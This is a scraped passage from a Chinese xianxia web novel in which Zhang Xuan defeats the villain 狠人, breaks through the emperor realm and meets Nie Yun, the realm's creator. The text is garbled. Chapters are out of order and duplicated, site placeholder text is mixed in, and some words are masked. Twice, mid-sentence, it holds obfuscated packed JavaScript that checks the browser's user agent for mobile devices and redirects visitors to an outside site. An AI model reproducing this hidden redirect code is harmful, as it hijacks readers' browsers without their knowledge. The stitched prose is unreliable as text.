灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956420|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百一十六章流言和秦休的行动 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 